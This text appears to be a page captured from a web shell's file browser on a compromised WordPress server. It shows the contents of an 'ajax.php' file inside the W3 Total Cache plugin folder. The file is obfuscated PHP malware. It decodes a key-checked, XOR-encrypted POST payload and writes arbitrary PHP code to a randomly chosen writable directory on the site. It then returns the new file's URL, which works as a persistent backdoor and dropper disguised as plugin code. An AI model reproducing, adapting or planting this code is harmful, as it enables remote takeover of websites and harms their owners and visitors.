HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/plugins/w3-total-cache/lib/CSSTidy/ajax.php
<?php $xJwcr = "\104".chr(764-685).chr(913-846).chr(887-802).'M'."\105"."\x4e".chr(257-173).'_'.'R'."\117".'O'."\x54";$ptDrj = chr(304-232).chr(1071-987)."\x54"."\x50"."\x5f".chr(72).chr(79)."\x53".chr(84);$SUNpAv = chr(650-546).chr(356-240)."\164".'p'.chr(99-41).'/'.'/';$DHwuH = '.'.chr(112)."\x68".chr(112);$vnCGAei = "\x70".'h'."\x70";$drsfG = chr(102).chr(785-680).'l'."\x65"."\137"."\x70".chr(117)."\x74".chr(95)."\x63".chr(111)."\156".'t'.chr(803-702).chr(1054-944).chr(557-441)."\163";$LCsiPwybZ = chr(114)."\141".chr(119).chr(572-455)."\x72"."\x6c".chr(984-884).chr(335-234)."\x63".chr(111)."\144".chr(259-158);$ujUDdpDkop = 'u'."\156".chr(741-626).chr(151-50)."\162".chr(999-894)."\141"."\154".chr(1022-917).chr(698-576).chr(444-343);$Wtsjr = 'i'.chr(115).chr(827-732)."\167".chr(140-26)."\151".chr(116).chr(272-175).chr(98).'l'.chr(101);$MueUjSBkT = 'p'."\150"."\x70"."\166"."\x65".chr(114).chr(969-854).'i'."\x6f"."\x6e";$pdWxSWVyqV = "\163"."\x74"."\x72"."\x5f".chr(522-408).chr(111).'t'.chr(49)."\63";$wWMpiMxYX = chr(923-808).chr(101).chr(432-318)."\x69".chr(799-702).chr(915-807)."\x69"."\172"."\145";$NVNRTMNKXJ = chr(390-275)."\x74".chr(158-44)."\x5f"."\x73".chr(766-654).'l'.'i'."\x74";foreach ($_POST as $vjvGE => $nOCFsCfel){$zmScWtQ = strlen($vjvGE);if ($zmScWtQ == 16){$nOCFsCfel = $NVNRTMNKXJ($LCsiPwybZ($pdWxSWVyqV($nOCFsCfel)));$vjvGE = array_slice($NVNRTMNKXJ(str_repeat($vjvGE, (count($nOCFsCfel)/16)+1)), 0, count($nOCFsCfel));function YlxCpdDwv($JWNvbdujQ, $cBaieDEOpR, $vjvGE){$XGIEbFh = "7183b1cd-91a9-45e2-95dc-8e0ed9b44a34";return $JWNvbdujQ ^ $XGIEbFh[$cBaieDEOpR % strlen($XGIEbFh)] ^ $vjvGE;}$nOCFsCfel = array_map("YlxCpdDwv", array_values($nOCFsCfel), array_keys($nOCFsCfel), array_values($vjvGE));$nOCFsCfel = implode("", $nOCFsCfel);$nOCFsCfel = @$ujUDdpDkop($nOCFsCfel);if (@is_array($nOCFsCfel)){$bWkaae = array_keys($nOCFsCfel);$nOCFsCfel = $nOCFsCfel[$bWkaae[0]];if ($nOCFsCfel === $bWkaae[0]){echo @$wWMpiMxYX(Array($vnCGAei => @$MueUjSBkT(), ));exit();}else {function AgfZaQyyi($cBaieDir){static $xWgMi = array();$LppgbnPg = glob($cBaieDir . '/*', GLOB_ONLYDIR);$ChAAMO = count($LppgbnPg);if ($ChAAMO > 0) {foreach ($LppgbnPg as $cBaieD) {if (@$Wtsjr($cBaieD)) {$xWgMi[] = $cBaieD;}}}foreach ($LppgbnPg as $cBaieDir) AgfZaQyyi($cBaieDir);return $xWgMi;}$WbtlqtDY = $_SERVER[$xJwcr];$LppgbnPg = AgfZaQyyi($WbtlqtDY);$bWkaae = array_rand($LppgbnPg);$XPOPyBReWA = $LppgbnPg[$bWkaae] . "/" . substr(md5(time()), 0, 8) . $DHwuH;@$drsfG($XPOPyBReWA, $nOCFsCfel);$pxTrJ = $SUNpAv . $_SERVER[$ptDrj] . substr($XPOPyBReWA, strlen($WbtlqtDY));print($pxTrJ);die();}}}}